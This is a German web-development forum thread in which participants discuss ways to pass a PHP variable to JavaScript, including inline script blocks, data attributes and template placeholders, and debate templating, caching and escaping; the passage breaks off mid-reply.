Variable von PHP nach JAVASCRIPT übergeben – SELFHTML-Forum Forum als Ergänzung zum SELFHTML-Wiki und zur Dokumentation SELFHTML https://forum.selfhtml.org/self Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 10:07:26 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720659#m1720659 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720659#m1720659 <p>Ich habe ein PHP Script, in dieser habe ich eine Variable mit einem Integer Wert.</p> <p><strong>$nummer</strong></p> <p>Später wird auf der Seite noch eine javascript Datei aufgerufen.</p> <p>In dieser wird eine URL aufgerufen</p> <p><strong>url: 'datei.php?id=100'</strong></p> <p>statt der 100 möchte ich die Variable</p> <p><strong>$nummer</strong></p> <p>einsetzen.</p> <p>Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?</p> <p>Marti</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 10:17:00 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720661#m1720661 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720661#m1720661 <p>hallo</p> <blockquote> <p>Ich habe ein PHP Script, in dieser habe ich eine Variable mit einem Integer Wert.</p> <p><strong>$nummer</strong></p> <p>Später wird auf der Seite noch eine javascript Datei aufgerufen.</p> <p>In dieser wird eine URL aufgerufen</p> <p><strong>url: 'datei.php?id=100'</strong></p> <p>statt der 100 möchte ich die Variable</p> <p><strong>$nummer</strong></p> <p>einsetzen.</p> <p>Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?</p> </blockquote> <ul> <li>Variante a)</li> </ul> <p>Schreibe einen Javascript Block in PHP mit der Ausgabe</p> <pre><code class="block language-javascript"><span class="token operator"><</span>script<span class="token operator">></span> <span class="token keyword">var</span> myVarsByServerDef<span class="token operator">=</span><span class="token punctuation">{</span> <span class="token string-property property">"var1"</span><span class="token operator">:</span><span class="token string">"value1"</span><span class="token punctuation">,</span> <span class="token string-property property">"var2"</span><span class="token operator">:</span><span class="token string">"value2"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token operator"><</span><span class="token operator">/</span>script<span class="token operator">></span> </code></pre> <p>Lasse danach dein anderes script onload diese variable abholen</p> <ul> <li>Varante b)</li> </ul> <p>Notiere ein Element in Php mit hidden Attribut. Dieses kann dann verschiedene Werte übergeben wie folgt</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">hidden</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>servervars<span class="token punctuation">"</span></span> <span class="token attr-name">data-var1</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>value1<span class="token punctuation">"</span></span> <span class="token attr-name">data-var2</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>value2<span class="token punctuation">"</span></span> <span class="token punctuation">></span></span> </code></pre> <p>diese kannst ebenfalls später auslesen über</p> <pre><code class="block language-javascript"><span class="token keyword">var</span> el <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"servervars"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> variable1 <span class="token operator">=</span> el<span class="token punctuation">.</span>dataset<span class="token punctuation">.</span>var1<span class="token punctuation">;</span> </code></pre> <p>Beachte, zum Auslesen von data Attributen wird in JS die Methode dataset verwendet</p> <ul> <li>Variate c)</li> <li>Variante d)</li> </ul> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 10:20:56 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720662#m1720662 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720662#m1720662 <p>Hello,</p> <blockquote> <p>Ich habe ein PHP Script, in dieser habe ich eine Variable mit einem Integer Wert.</p> <p><strong>$nummer</strong></p> <p>Später wird auf der Seite noch eine javascript Datei aufgerufen.</p> <p>In dieser wird eine URL aufgerufen</p> <p><strong>url: 'datei.php?id=100'</strong></p> <p>statt der 100 möchte ich die Variable</p> <p><strong>$nummer</strong></p> <p>einsetzen.</p> <p>Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?</p> </blockquote> <p>Variabel ist der Wert nur innerhalb des PHP-Skriptes. Die Schnittstelle zu JavaScript ist die von PHP produzierte Textausgabe. In dem Moment, in dem Du also die Datei generieren lässt, in der dann auch das JavaScript steht, wird die Variable ausgelesen und ihr Inhalt als Text ausgegeben.</p> <pre><code class="block language-php"> <span class="token variable">$url</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"url:'datei.php?id=<span class="token interpolation"><span class="token variable">$nummer</span></span>'"</span><span class="token punctuation">;</span> <span class="token keyword">echo</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <p>Liebe Grüße<br> Tom S.</p> <div class="signature">-- <br> Es gibt nichts Gutes, außer man tut es!<br> Das Leben selbst ist der Sinn.<br> </div> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 10:24:17 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720663#m1720663 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720663#m1720663 <p>hi,</p> <p>die PHP Variable kannst Du nicht an JS übergeben aber Du kannst einen Platzhalter für die HTML/JS-Ausgabe einbauen und beim Rendern des Templates diesen Platzhalter mit der PHP~Variablen ersetzen.</p> <p>Oder anders ausgedrückt: Erzeuge die ganze Seite samt JS mit PHP.</p> <p>Viel Erfolg!</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 10:27:57 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720664#m1720664 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720664#m1720664 <p>Hallo</p> <blockquote> <p>Ich habe ein PHP Script, in dieser habe ich eine Variable mit einem Integer Wert.</p> <p><strong>$nummer</strong></p> <p>Später wird auf der Seite noch eine javascript Datei aufgerufen.</p> <p>In dieser wird eine URL aufgerufen</p> <p><strong>url: 'datei.php?id=100'</strong></p> <p>statt der 100 möchte ich die Variable</p> <p><strong>$nummer</strong></p> <p>einsetzen.</p> <p>Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?</p> </blockquote> <p>Als erstes: PHP läuft auf dem Webserver und liefert ein HTML-Dokument, eventuell nebst Zubehör, aus. Damit ist die Arbeit von PHP getan. JavaScript läuft hingegen im und innerhalb des Browser <sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup> und manipuliert das im Browser geladene Dokument. In diesem Szenario weiß PHP nichts von JavaScript und JavaScript nichts von PHP.</p> <p>Du kannst aber mit PHP auch als Zubehör eines HTML-Dokument JavaScript-Code als Zeichenketten erzeugen und ausliefern. Dann bekommt dein JavaScript-Code etwas für ihn passendes serviert.</p> <ul> <li>Du kannst mit PHP einen <code><script></code>-Block mit JS-Code in das HTML-Dokument einbauen.</li> <li>Du kannst mit PHP on the fly eine JavaScript-Datei erzeugen, die im HTML-Dokument verlinkt ist oder mit PHP verlinkt wird.</li> </ul> <p>Wenn es dir um einen oder einige wenige Werte geht, ist Variante 1 wohl die einfacher umzusetzende.</p> <p>Tschö, Auge</p> <div class="signature">-- <br> Eine Kerze stand [auf dem Abort] bereit, und der Almanach des vergangenen Jahres hing an einer Schnur. Die Herausgeber kannten ihre Leser und druckten den Almanach auf weiches, dünnes Papier.<br> Kleine freie Männer von Terry Pratchett </div> <hr class="footnotes-sep"> <section class="footnotes"> <ol class="footnotes-list"> <li id="fn1" class="footnote-item"><p>Man kann mittlerweile JavaScript auf dem Webserver ausführen, aber das spielt im hiesigen Kontext keine Rolle. <a href="#fnref1" class="footnote-backref">↩︎</a></p> </li> </ol> </section> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 16:17:25 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720694#m1720694 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720694#m1720694 <p>Hi there,</p> <blockquote> <p>In dieser wird eine URL aufgerufen</p> <p><strong>url: 'datei.php?id=100'</strong></p> <p>statt der 100 möchte ich die Variable</p> <p><strong>$nummer</strong></p> <p>einsetzen.</p> <p>Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?</p> </blockquote> <p>Auch wenn ich jetzt wieder für Schlichtheit und php-Shorttags geprügelt werde (aber jeder machts so)</p> <p><script> url: 'datei.php?id=<?echo $nummer;?>'; </script></p> Variable von PHP nach JAVASCRIPT übergeben Mon, 30 Apr 18 14:41:31 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721048#m1721048 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721048#m1721048 <p>Hi,</p> <p>Hab eine <a href="http://rolfrost.de/jsvars.html" rel="nofollow noopener noreferrer">Demoseite</a> gemacht, extra für Euch:</p> <p>Über Platzhalter im HTML Template lassen sich natürlich nicht nur Literale dynamisch einbauen die nur für das DOM bestimmt sind sondern auch Variablen für JavaScript. Konkret werden auf <a href="http://rolfrost.de/jsvars.html" rel="nofollow noopener noreferrer">dieser Demoseite</a> zwei Variablen serverseitig erfasst und zusammen mit der Response ausgeliefert, wobei diese Variablen über entsprechende Platzhalter so in die Seite eingebaut sind, daß sie für JavaScript auch als Variablen zur Verfügung stehen.</p> <p>Aus der Sicht der Templating Engine sind Platzhalter in einem Template nur Literale die beim Rendern des Templates gegen ihren dazugehörigen Wert ausgetauscht werden. So können Literale neben einfachen Scalaren (Stringvariablen) auch kompexe Daten-Strukturen beinhalten. Dafür wurde für <a href="http://rolfrost.de/jsvars.html" rel="nofollow noopener noreferrer">diese Demoseite</a> die Serverumgebung ausgewählt welche ein assoziatives Array mit Schlüssel-Werte-Paaren darstellt.</p> <p>Viel Spaß damit!</p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 12:11:18 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720733#m1720733 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720733#m1720733 <p>Hallo,</p> <blockquote> <p>Schreibe einen Javascript Block in PHP mit der Ausgabe</p> <pre><code class="block language-javascript"><span class="token operator"><</span>script<span class="token operator">></span> <span class="token keyword">var</span> myVarsByServerDef<span class="token operator">=</span><span class="token punctuation">{</span> <span class="token string-property property">"var1"</span><span class="token operator">:</span><span class="token string">"value1"</span><span class="token punctuation">,</span> <span class="token string-property property">"var2"</span><span class="token operator">:</span><span class="token string">"value2"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token operator"><</span><span class="token operator">/</span>script<span class="token operator">></span> </code></pre> </blockquote> <p>Aber bitte nicht so, sondern a) per json_encode das Objekt erzeugen und b) an Kontextwechsel denken ("</script" in den Values).</p> <p>Viele Grüße Matti</p> Variable von PHP nach JAVASCRIPT übergeben Sun, 29 Apr 18 07:40:15 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720789#m1720789 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720789#m1720789 <p>Bevor wir hier das Rad neu erfinden: Guck Dir mal JSONP an. Was damit möglich ist, habe ich <a href="http://rolfrost.de/jsonp.html" rel="nofollow noopener noreferrer">da</a> mal kurz und bündig aufgeschrieben.</p> <p>MfG</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 16:12:48 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720693#m1720693 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720693#m1720693 <p>Hi there,</p> <blockquote> <p>die PHP Variable kannst Du nicht an JS übergeben aber Du kannst einen Platzhalter für die HTML/JS-Ausgabe einbauen und beim Rendern des Templates diesen Platzhalter mit der PHP~Variablen ersetzen.</p> </blockquote> <p>Wahrscheinlich müßt ich lange suchen, um eine noch kompliziertere Erklärung für diesen an sich schlichten Vorgang zu finden.</p> <blockquote> <p>Oder anders ausgedrückt: Erzeuge die ganze Seite samt JS mit PHP.</p> </blockquote> <p>Und wozu?</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 17:08:47 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720698#m1720698 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720698#m1720698 <blockquote> <blockquote> <p>Oder anders ausgedrückt: Erzeuge die ganze Seite samt JS mit PHP.</p> </blockquote> <p>Und wozu?</p> </blockquote> <p>Weil ich das aufgrund meiner Erfahrung so empfehle und weil es einfach zweckmäßiger ist eine richtige Templating~Engine zu verwenden anstatt PHP in HTML einzubetten.</p> <p>.</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 16:24:33 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720695#m1720695 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720695#m1720695 <p>hallo</p> <blockquote> <p>Auch wenn ich jetzt wieder für Schlichtheit und php-Shorttags geprügelt werde (aber jeder machts so)</p> </blockquote> <blockquote> <p><script> url: 'datei.php?id=<?echo $nummer;?>'; </script></p> </blockquote> <p>wird zu</p> <pre><code class="block language-javascript"><span class="token literal-property property">url</span><span class="token operator">:</span> <span class="token string">'datei.php?id=100'</span><span class="token punctuation">;</span> </code></pre> <p>Welche Domina darf's denn heute sein?</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 17:26:47 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720701#m1720701 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720701#m1720701 <blockquote> <p>Auch wenn ich jetzt wieder für Schlichtheit und php-Shorttags geprügelt werde (aber jeder machts so)</p> </blockquote> <p>Prügeln nicht aber eine Empfehlung nach dem Motto <code>aber jeder machts so</code> ist so ziemlich dämlich. Woher willst Du denn das wissen was jeder macht!?</p> <p>.</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 18:02:24 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720703#m1720703 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720703#m1720703 <p>Tach!</p> <blockquote> <blockquote> <p>In dieser wird eine URL aufgerufen</p> <p><strong>url: 'datei.php?id=100'</strong></p> <p>statt der 100 möchte ich die Variable</p> <p><strong>$nummer</strong></p> <p>einsetzen.</p> <p>Wie kann ich also meine PHP Variable in eine Javascript Datei übernehmen?</p> </blockquote> <p>Auch wenn ich jetzt wieder für Schlichtheit und php-Shorttags geprügelt werde (aber jeder machts so)</p> </blockquote> <p>Nö, deswegen nicht, aber wenn du magst, dann wegen sinnloser Syntax.</p> <blockquote> <p><script> url: 'datei.php?id=<?echo $nummer;?>'; </script></p> </blockquote> <p>Das ist eine Sprungmarke und ein String, aber keine Variablenzuweisung. Im Original wird das wohl Teil eines Objektliterals sein, aber Teile von Objektliteralen kann man auch nicht alleinstehend in <script></script> einbetten.</p> <p>Zudem ging es darum, dass diese Variable in einer Javascript-Datei benötigt wird. Das heißt, PHP schreibt diese Datei nicht, sondern höchstens diejenige, in der der Verweis auf diese Datei steht. Deswegen wird es auch nicht gehen, dass PHP den Wert direkt am Ort der Verwendung einfügt. Also, theoretisch geht das schon, umständlich über Ablegen in einer Session und die Javascript-Ressource auch über PHP laufen lassen, aber praktisch gibt das mehr Probleme als es nutzt, beispielsweise beim Cachen. Dann schon lieber die Methode, eine zusätzliche Variable in einem script-Teil des mit PHP erzeugten HTML-Dokuments zu definieren, auf die dann in der Javascript-Datei zugegriffen wird.</p> <p>dedlfix.</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 19:44:10 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720704#m1720704 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720704#m1720704 <p>Hallo pl,</p> <p>bei der Templating-Engine stimme ich Dir zu; allerdings würde ich eine Trennung von JS und HTML in zwei Dateien immer bevorzugen. Das ist Cache-freundlicher. Und Server-freundlicher, wenn er das JS statisch ausliefern kann und es nicht durch den PHP-Interpreter jagen muss. Größere Mengen JS von PHP (oder Perl, oder C#, oder...) zu erzeugen ist ohnehin nicht sehr freundlich, weil man dann anfängt an Anführungszeichenwahn zu leiden. Und weil der Editor dann mit dem Syntaxhighlighting Schwierigkeiten bekommt. PHP ist dazu gemacht, mit HTML zu kooperieren, nicht mit JS.</p> <p>Wenn Du natürlich gemeint hast, dass man die Fragmente mit den seitenspezifischen Informationen für's JS aus dem Template heraus erzeugen soll (also die beatovich Varianten 1-n), dann bin ich wieder bei Dir.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 22:06:00 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720707#m1720707 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720707#m1720707 <p>Hi there,</p> <blockquote> <blockquote> <blockquote> <p>Oder anders ausgedrückt: Erzeuge die ganze Seite samt JS mit PHP.</p> </blockquote> <p>Und wozu?</p> </blockquote> <p>Weil ich das aufgrund meiner Erfahrung so empfehle und weil es einfach zweckmäßiger ist eine richtige Templating~Engine zu verwenden anstatt PHP in HTML einzubetten.</p> </blockquote> <p>Der OP wollte aber lediglich einen PHP-Wert in eine JS-Variable bringen. Deine "Empfehlung" schießt mit Marschflugkörpern auf Mücken…</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 20:24:43 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720706#m1720706 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720706#m1720706 <p>hi</p> <blockquote> <p>bei der Templating-Engine stimme ich Dir zu; allerdings würde ich eine Trennung von JS und HTML in zwei Dateien immer bevorzugen.</p> </blockquote> <p>Darum gehts hier doch gar nicht. Vielmehr gehts darum, Platzhalter mit Werten zu beleben. Und wie performant das ist, hängt von der TE ab. Wobei eine TE natürlich nur für eine bestimmte Scriptspache funktionieren kann.</p> <p>Und selbstverständlich kann man auch JS Code oder ganze JS-Dateien über gerenderte Templates ausliefern.</p> <p>Platzhalter selbst sind neutral. Ich habe z.B. in jeder Seite im <head> ein Template mit Platzhaltern, ein paar von denen sind:</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token keyword">var</span> <span class="token constant">SID</span> <span class="token operator">=</span> <span class="token string">"%sid%"</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> %loop_hrefcss% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>%hrefcss%<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text/css<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> %endloop% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>title</span><span class="token punctuation">></span></span> %title% <span class="token tag"><span class="token tag"><span class="token punctuation"></</span>title</span><span class="token punctuation">></span></span> </code></pre> <p>und die Werte werden dann zum Ausliefern der Response da reingerendert. Wie zu sehen ist, gibt es einen Platzhalter für die Session-ID, den Seitentitel und eine Loop womit die für die Seite konfigurierten CSS Dateien gelinkt werden. Während die SID am Responseobjekt hängt, wird der %title% per Konfiguration geliefert.</p> <p>Nützlich ist z.B. ein Platzhalter <code>%url%</code> z.B. für sämtliche Links die auf die Seite selbst zeigen und natürlich auch für XHR~Issues oder die fetchAPI. Wobei: Sämtliche XHR Requests oder native zu setzende href's mit Parameter zeigen bei mir grundsätzlich auf die Seite selbst in die sie eingebaut sind. Womit auch das action-Atttribute bei sämtlichen Forms entfallen kann aber das nurmalso nebenbei.</p> <p>Da macht die Sache sehr flexibel, erweiterbar und auch wartungsfreundlich. Für Seiten die keine Platzhalter haben, kann die TE bzw. das Rendern per Seitenkonfig abgeschaltet werden. Der <head> Bereich wird jedoch immer gerendert.</p> <p>Und natürlich sind auch gerenderte Templates cacheable. Aber bitte nicht auf dem Server sondern am Client, also z.B. per Lastmodified/Expires.</p> <p>MfG</p> Variable von PHP nach JAVASCRIPT übergeben Fri, 27 Apr 18 22:40:00 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720708#m1720708 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720708#m1720708 <p>Hallo pl,</p> <blockquote> <p>Und selbstverständlich kann man auch JS Code oder ganze JS-Dateien über gerenderte Templates ausliefern.</p> </blockquote> <p>Das man das KANN, hat keiner bestritten. Dass das ein guter Weg ist, schon. Weil die Erzeugung von JS über Templates impliziert, dass sie relativ variabel sind. Und dann ist es nicht gut, sie zu cachen. Ich finde das auch schlecht testbar. Das generierte JS kann ja jederzeit anders aussehen.</p> <p>Deswegen ist es MEINE Erfahrung, Code statisch zu halten, ihn ordentlich mit Unit-Tests zu stabilisieren und Daten mit einer möglichst dünnen Nadel zu injizieren.</p> <p>Allgemeine Variablen für den Seitenheader sind bei Einsatz einer TE eine Selbstverständlichkeit; das führt uns hier aber zu weit vom Thema ab: Aus PHP Daten für JS bereitstellen.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 05:49:11 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720714#m1720714 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720714#m1720714 <p>Tach!</p> <blockquote> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token keyword">var</span> <span class="token constant">SID</span> <span class="token operator">=</span> <span class="token string">"%sid%"</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> %loop_hrefcss% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>%hrefcss%<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text/css<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> %endloop% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>title</span><span class="token punctuation">></span></span> %title% <span class="token tag"><span class="token tag"><span class="token punctuation"></</span>title</span><span class="token punctuation">></span></span> </code></pre> </blockquote> <p>Das sieht mir so aus, als ob dieses Beispiel vereinfacht ist und deshalb kein kontextgerechtes Behandeln zu sehen ist, oder dass die Template-Engine das Escaping gar nicht vornimmt und man es außerhalb vornehmen muss. Letzteres wäre deshalb ungünstig, weil man dann selbständig beide Stellen synchronisiert beachten muss, statt dass man einfach im Template sieht, dass das passende Escaping verwendet wurde und alles ok ist. Passendes Escaping ist ja gerade in diesem Beispiel auch unterschiedlich für in Javascript und in HTML einzufügende Werte.</p> <p>dedlfix.</p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 08:21:30 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720718#m1720718 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720718#m1720718 <blockquote> <p>Der OP wollte aber lediglich einen PHP-Wert in eine JS-Variable bringen. Deine "Empfehlung" schießt mit Marschflugkörpern auf Mücken…</p> </blockquote> <p>Das ist das Mindeste was ein Framework können muss: Platzhalter ermöglichen und damit ist das Ganze sozusagen trivial. MfG</p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 05:45:24 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720713#m1720713 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720713#m1720713 <p>hi,</p> <blockquote> <blockquote> <p>Und selbstverständlich kann man auch JS Code oder ganze JS-Dateien über gerenderte Templates ausliefern.</p> </blockquote> <p>Das man das KANN, hat keiner bestritten. Dass das ein guter Weg ist, schon. Weil die Erzeugung von JS über Templates impliziert, dass sie relativ variabel sind. Und dann ist es nicht gut, sie zu cachen. Ich finde das auch schlecht testbar. Das generierte JS kann ja jederzeit anders aussehen.</p> </blockquote> <p>Natürlich wird man nicht sämtlichen JS Code über Templates generieren. Aber es gibt Lösungen die sind gar nicht anders möglich. Ich habe ja nicht umsonst das Beispiel mit dem %url% Platzhalter gebracht: Während man in Formularen das action-Attribute einfach weglassen kann, ist das nämlich in Sachen XHR und fetchAPI nicht möglich, da <strong>muss ein URL notiert sein</strong> an welchen der Request gesendet wird.</p> <p>Also wird bei mir für diesen Platzhalter grundsätzlich dieser Wert gesetzt und wird zu einer Variablen, die von JS genutzt werden kann. D.h., im Effekt ist es es gar keine Variable weil, bis auf wenige Ausnahmen, sämtliche AJAX//Fetch Requests die eine Seite feuern soll, stets auf sich selbst gerichtet sind. Was daran sollte denn da einen Test erschweren? Das Gegenteil ist der Fall!</p> <p>Mitnichten sieht da ein JS jederzeit anders aus, vielmehr sieht es immer genauso aus wie es für die jeweilige Seite erzeugt wurde: Einheitlich. Also werden im Endeffekt die Tests sogar vereinfacht!</p> <p>Was ja auch der Sinn eines Framework ist. Da wird nicht für jede Seite eine extra Wurst gebraten sondern Platzhalter für alle Seiten zum Prinzip erhoben. So erst wird die Sache einheitlich, wartungsfreundlich und skalierbar: Jede HTML Response ist ein Template. Und die Prozesse zum Einbau von Platzhaltern sind einheitlich.</p> <p>Die TE wird also generell geladen, nur der Renderprozess kann abgeschaltet werden wenn er nicht gebraucht wird und das ist über ein Attribut zum URL konfigurierbar. Unabhängig davon ist auch konfigurierbar, ob die Seite gecached werden soll oder nicht. Wenn ich z.B. für Seite <code>/index.html</code> testen will ob ein Lastmodified Header gesendet werden soll, wird der Test zunächst die Konfiguration für diesen URL abrufen. Und wenn da drinsteht:</p> <pre><code class="block">[/index.html] no_cache = 1 class = HTMLTemplate file = index.html interface = date </code></pre> <p>darf die Response keinen Lastmodified Header senden was mit einem HEAD Request leicht zu prüfen ist. Ebenso können Name der class und der Name des interface abgerufen werden und fürs händische Debugging sind dies Angaben auch gleich im <head> zu finden damit man nicht lange rumsuchen muss wenn mal irgendwas nicht stimmt.</p> <p>Und jetzt stell Dir mal vor, der URL für eine Seite wäre zu ändern. Das würde unweigerlich eine Änderung sämtlicher JS Dateien nach sich ziehen in denen der URL fest codiert ist!</p> <p>Und mal angenommen, die Seite braucht weitere variable Komponenten in JS. Dann kann man auch mit <code><script src="%url%?js=ext"></script></code> ganze Code-Teile für JS dynamisch erzeugen und nachladen und je nach Umständen selbstverständlich auch cachen (Lastmodified). Und wenn eine solche Erweiterung über ein hinzukonfiguriertes Interface realisiet wird, steht dieses interface genausogut für jeder andere Seite zur Verfügung, was also jede Menge redundanten Code vermeidet.</p> <p>Du siehst also, die Sache ist doch ein bischen komplizierter als daß man hier Aussagen der Art gut oder schlecht treffen kann.</p> <p>MfG</p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 07:57:27 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720717#m1720717 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720717#m1720717 <p>PS:</p> <blockquote> <p>Natürlich wird man nicht sämtlichen JS Code über Templates generieren. Aber es gibt Lösungen die sind gar nicht anders möglich. Ich habe ja nicht umsonst das Beispiel mit dem %url% Platzhalter gebracht: Während man in Formularen das action-Attribute einfach weglassen kann, ist das nämlich in Sachen XHR und fetchAPI nicht möglich, da <strong>muss ein URL notiert sein</strong> an welchen der Request gesendet wird.</p> <p>Also wird bei mir für diesen Platzhalter grundsätzlich dieser Wert gesetzt und wird zu einer Variablen, die von JS genutzt werden kann. D.h., im Effekt ist es es 